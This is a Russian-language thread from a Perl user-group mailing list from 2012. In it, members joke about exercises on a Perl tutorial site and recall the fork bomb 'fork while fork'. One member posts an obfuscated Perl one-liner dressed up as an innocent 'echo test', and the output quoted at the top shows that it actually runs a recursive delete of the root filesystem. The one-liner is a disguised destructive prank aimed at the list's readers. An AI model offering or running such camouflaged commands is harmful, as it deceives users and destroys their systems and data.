$ echo "test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y;
-/:-@[-`{-};`-{/" -;;s;;$_;see'
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe=) 28 сентября 2012 г., 16:31 пользователь Максим Колодежний <[email protected]> написал: > можно и не перегружатся: > echo "test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; > -/:-@[-`{-};`-{/" -;;s;;$_;see' > > 2012/9/28 dv1983 <[email protected]> >> >> Хороший код, только перегрузился. >> >> >> On 28.09.2012 15:48, Alex Varyanick wrote: >>> >>> 2012/9/27 Yaroslav Korshak<[email protected]>: >>> >>>> В следующем докладе автор презентовал сообществу свой новый ресурс >>>> http://perltuts.com - замечательный сайт на котором можно познакомиться >>>> с >>>> языком Perl выполняя упражнения онлайн. Пользователи могут не только >>>> ознакомиться с пособиями по Perl, но и в реальном времени выполнять >>>> упражнения, написать код и видеть результат его выполнения. >>> >>> Кстати, чего там надо реализовать? >>> 1. fork while fork; >>> остальное опять память отшибло :) >>> >> _______________________________________________ >> Kiev-pm mailing list >> [email protected] >> http://mail.pm.org/mailman/listinfo/kiev-pm > > > > _______________________________________________ > Kiev-pm mailing list > [email protected] > http://mail.pm.org/mailman/listinfo/kiev-pm > -- Sergei Mozhaisky http://technix.in.ua/ _______________________________________________ Kiev-pm mailing list [email protected] http://mail.pm.org/mailman/listinfo/kiev-pm
